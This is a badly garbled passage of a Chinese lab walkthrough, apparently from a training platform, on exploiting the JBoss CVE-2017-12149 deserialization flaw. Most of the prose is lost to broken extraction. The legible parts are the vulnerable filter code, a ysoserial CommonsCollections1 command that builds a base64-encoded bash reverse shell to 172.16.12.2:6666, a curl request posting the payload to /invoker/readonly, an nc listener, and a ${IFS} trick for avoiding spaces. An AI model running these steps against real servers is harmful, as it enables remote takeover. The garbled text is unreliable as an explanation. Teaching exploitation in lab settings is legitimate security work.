[19228] 2018-02-02_【动手实验】JBoss反序列化漏洞

文档创建者:s7ckTeam
浏览次数:1
最后更新:2025-01-18
2018-02-02_【动手实验】JBoss反序列化漏洞 J B o s s   i   2 0 1 8 - 0 2 - 0 2 J B O S S J 2 E E   J B o s s L G P L 使 使 J B o s s E J B E J B   1 . 1 E J B   2 . 0 E J B 3 J B o s s s e r v l e t / J S P W E B T o m c a t J e t t y 使 使 2 0 1 7 8 3 0 J B o s s J B O S S A S   5 . x C V E - 2 0 1 7 - 1 2 1 4 9 J B o s s H t t p l n v o k e r R e a d O n l y A c c e s s F i l t e r d o F i l t e r 访 J B o s s A S   6 . x 访 J B o s s A S   7 ~ : k a l i   l i n u x   6 4 I P 1 7 2 . 1 6 . 1 1 . 2 h t t p : / / 1 7 2 . 1 6 . 1 2 . 2 : 8 0 8 0 / 访 h t t p : / / f i l e . i c h u n q i u . c o m / 5 t t 6 u h t g / J a v a
使 y s o s e r i a l : J a v a p a y l o a d 便 P a y l o a d 使 P a y l o a d J a v a J a v a J a v a J a v a J a v a 便 J a v a : J a v a F i l e O u t p u t S t r e a m   f o s   =   n e w   F i l e O u t p u t S t r e a m ( f i l e ) ; O b j e c t O u t p u t S t r e a m   o o s   =   n e w   O b j e c t O u t p u t S t r e a m ( f o s ) ; o o s . w r i t e O b j e c t ( s t ) ; F i l e I n p u t S t r e a m   f i s   =   n e w   F i l e I n p u t S t r e a m ( f i l e ) ; O b j e c t I n p u t S t r e a m   o i s   =   n e w   O b j e c t I n p u t S t r e a m ( f i s ) ; S t u d e n t   s t 1   =   ( S t u d e n t ) o i s . r e a d O b j e c t ( ) ; J B o s s   J b o s s     H t t p I n v o k e r   R e a d O n l y A c c e s s F i l t e r   j b o s s s e r v e r a l l d e p l o y h t t p h a - i n v o k e r . s a r i n v o k e r . w a r W E B - I N F c l a s s e s o r g j b o s s i n v o c a t i o n h t t p s e r v l e t R e a d O n l y A c c e s s F i l t e r . c l a s s , d o F i l t e r : p u b l i c   v o i d   d o F i l t e r ( S e r v l e t R e q u e s t   r e q u e s t ,   S e r v l e t R e s p o n s e   r e s p o n s e ,   F i l t e r C h a i n   c h a i n )         t h r o w s   I O E x c e p t i o n ,   S e r v l e t E x c e p t i o n     {       H t t p S e r v l e t R e q u e s t   h t t p R e q u e s t   =   ( H t t p S e r v l e t R e q u e s t ) r e q u e s t ;         P r i n c i p a l   u s e r   =   h t t p R e q u e s t . g e t U s e r P r i n c i p a l ( ) ;         i f   ( ( u s e r   = =   n u l l )   & & ( t h i s . r e a d O n l y C o n t e x t   ! =   n u l l ) )         {             S e r v l e t I n p u t S t r e a m   s i s   =   r e q u e s t . g e t I n p u t S t r e a m ( ) ;             O b j e c t I n p u t S t r e a m   o i s   =   n e w O b j e c t I n p u t S t r e a m ( s i s ) ;             M a r s h a l l e d I n v o c a t i o n   m i   =   n u l l ;             t r y             {                 m i   =   ( M a r s h a l l e d I n v o c a t i o n ) o i s . r e a d O b j e c t ( ) ;             }             c a t c h ( C l a s s N o t F o u n d E x c e p t i o n   e )             {                 t h r o w   n e w   S e r v l e t E x c e p t i o n ( " F a i l e d   t o   r e a d   M a r s h a l l e d I n v o c a t i o n " ,   e ) ;             }           r e q u e s t . s e t A t t r i b u t e ( " M a r s h a l l e d I n v o c a t i o n " ,   m i ) ;             m i . s e t M e t h o d M a p ( t h i s . n a m i n g M e t h o d M a p ) ;             M e t h o d   m   =   m i . g e t M e t h o d ( ) ;             i f   ( m ! =   n u l l )   {                 v a l i d a t e A c c e s s ( m ,   m i ) ;             }         }         c h a i n . d o F i l t e r ( r e q u e s t ,   r e s p o n s e ) ;     } h t t p r e a d o b j e c t ( ) J a v a *       J b o s s   A S   5 . x   *       J b o s s A S   6 . x
  1 访 访 K a l i 使 f i r e f o x   h t t p : / / f i l e . i c h u n q i u . c o m / 5 t t 6 u h t g / 访 h t t p : / / 1 7 2 . 1 6 . 1 2 . 2 : 8 0 8 0 访 J B o s s 访 h t t p : / / 1 7 2 . 1 6 . 1 2 . 2 : 8 0 8 0 / i n v o k e r / r e a d o n l y P O S T J a v a 使 J a v a
  2 使 y s o s e r i a l P O C 使 b a s h S h e l l n c S h e l l y s o s e r i a l   使 R u n t i m e . g e t R u n t i m e ( ) . e x e c ( S t r i n g   c m d ) R u n t i m e . g e t R u n t i m e ( ) . e x e c ( S t r i n g c o m m a n d ,   S t r i n g [ ]   e n v p ,   F i l e   d i r ) S t r i n g T o k e n i z e r / * *           *   C o n s t r u c t s   a   s t r i n g   t o k e n i z e r   f o r   t h e   s p e c i f i e d   s t r i n g .   T h e           *   t o k e n i z e r   u s e s   t h e   d e f a u l t   d e l i m i t e r   s e t ,   w h i c h   i s           * < c o d e > " & n b s p ; & # 9 2 ; t & # 9 2 ; n & # 9 2 ; r & # 9 2 ; f " < / c o d e > :   t h e   s p a c e   c h a r a c t e r ,           *   t h e   t a b   c h a r a c t e r ,   t h e   n e w l i n e   c h a r a c t e r ,   t h e   c a r r i a g e - r e t u r n c h a r a c t e r ,           *   a n d   t h e   f o r m - f e e d   c h a r a c t e r .   D e l i m i t e r   c h a r a c t e r s   t h e m s e l v e s   w i l l           *   n o t   b e   t r e a t e d   a s   t o k e n s .           *           *   @ p a r a m       s t r       a s t r i n g   t o   b e   p a r s e d .           *   @ e x c e p t i o n   N u l l P o i n t e r E x c e p t i o n   i f   s t r   i s   < C O D E > n u l l < / C O D E >           * /         p u b l i c   S t r i n g T o k e n i z e r ( S t r i n g   s t r )   {               t h i s ( s t r ,   "   t n r f " ,   f a l s e ) ;         } S t r i n g T o k e n i z e r S t r i n g T o k e n i z e r t n r f b a s h   - c   ` b a s h   - i   > &   / d e v / t c p / 1 2 7 . 0 . 0 . 1 / 2 1   0 > & 1 ` b a s h - c ` b a s h - i > & . . . 线 h t t p : / / j a c k s o n . t h u r a i s a m y . m e / r u n t i m e - e x e c - p a y l o a d s . h t m l B a s h b a s h   - i   > & / d e v / t c p / 1 7 2 . 1 6 . 1 2 . 2 / 6 6 6 6   0 > & 1 p o c . t x t L i n u x $ { I F S } , $ { I F S } h e x 0 x 2 0   0 x 0 9   0 x 0 a s h e l l $ { I F S } s h e l l
P a y l o a d y s o s e r i a l j a v a   - j a r   y s o s e r i a l . j a r   [ p a y l o a d ]   ' [ c o m m a n d ] ' [ p a y l o a d ]   :   [ c o m m a n d ]   :   C o m m o n s C o l l e c t i o n s 1 j a v a     - j a r     y s o s e r i a l . j a r     C o m m o n s C o l l e c t i o n s 1   " b a s h   - c   { e c h o , Y m F z a C A t a S A + J i A v Z G V 2 L 3 R j c C 8 x N z I u M T Y u M T E u M i 8 2 N j Y 2 I D A + J j E = } | { b a s e 6 4 , - d } | { b a s h , - i } "   >   p o c . s e r P O C   p o c . s e r n c 6 6 6 6 n c   - l   - p   6 6 6 6
S h e l l P O S T S h e l l K a l i 6 6 6 6 使 c u r l c u r l   h t t p : / / 1 7 2 . 1 6 . 1 2 . 2 : 8 0 8 0 / i n v o k e r / r e a d o n l y   - - d a t a - b i n a r y   @ p o c . s e r S h e l l n c S h e l l 使 J a v a r e a d o b j e c t ( ) ( a c   e d   0 0   0 5 ) y s o s e r i a l
  h t t p - i n v o k e r . s a r     h t t p - i n v o k e r . s a r   w e b . x m l     s e c u r i t y - c o n s t r a i n t     h t t p   i n v o k e r   访 < u r l - p a t t e r n > / * < / u r l - p a t t e r n > ~
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则